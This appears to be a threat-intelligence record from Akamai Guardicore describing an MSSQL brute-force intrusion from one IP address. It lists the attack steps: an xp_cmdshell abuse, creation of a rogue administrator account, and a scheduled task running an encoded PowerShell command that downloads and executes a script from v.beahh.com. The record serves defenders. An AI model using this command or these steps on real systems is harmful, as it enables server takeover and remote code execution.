Cyber Threat Intelligence

Discover malicious IPs and domains with Akamai Guardicore Segmentation

IP Address: 123.54.6.94Previously Malicious

IP Address: 123.54.6.94Previously Malicious

This IP address attempted an attack on a machine in our threat sensors network

Threat Information

Role

Attacker, Scanner

Services Targeted

MSSQL SMB

Tags

User Added to Group Execute MsSql Shell Command Scheduled Task Creation MSSQL IDS - Attempted User Privilege Gain PowerShell Successful MSSQL Login Listening User Created DNS Query MSSQL Brute Force CMD SMB Access Suspicious Domain

Associated Attack Servers

v.beahh.com

Basic Information

IP Address

123.54.6.94

Domain

-

ISP

-

Country

China

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Akamai Guardicore Segmentation

2023-02-13

Last seen in Akamai Guardicore Segmentation

2023-02-14

What is Akamai Guardicore Segmentation
Akamai Guardicore Segmentation is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Akamai Guardicore Segmentation generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

A user logged in using MSSQL with the following credentials: sa / ****** - Authentication policy: White List (Part of a Brute Force Attempt)

MSSQL Brute Force Successful MSSQL Login

A user logged in using MSSQL with the following credentials: sa / ****** - Authentication policy: Previously Approved User (Part of a Brute Force Attempt) 3 times

MSSQL Brute Force Successful MSSQL Login

A user logged in using MSSQL with the following username: sa - Authentication policy: Previously Approved User (Part of a Brute Force Attempt) 2 times

MSSQL Brute Force Successful MSSQL Login

MSSQL executed 6 shell commands

Execute MsSql Shell Command

User k8h3d was created with the password *********** and added to groups: Administrators 3 times

User Added to Group User Created

The command line powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA= was scheduled to run by modifying C:\Windows\System32\Tasks\Microsoft\Windows\Bluetool

Process netsvcs Service Group started listening on ports: 65533

Listening

IDS detected Attempted User Privilege Gain : SQL sp_configure - configuration change

IDS - Attempted User Privilege Gain

IDS detected Attempted User Privilege Gain : sp_password - password change

IDS - Attempted User Privilege Gain

IDS detected Attempted User Privilege Gain : xp_cmdshell - program execution

IDS - Attempted User Privilege Gain

PowerShell session started by c:\windows\system32\windowspowershell\v1.0\powershell.exe

Process c:\windows\system32\windowspowershell\v1.0\powershell.exe attempted to access suspicious domains: v.beahh.com

DNS Query Access Suspicious Domain

Connection was closed due to timeout

Associated Files

C:\AclXmBKr.exe

SHA256: 3c2fe308c0a563e06263bbacf793bbe9b2259d795fcc36b953793a7e499e7f71

56320 bytes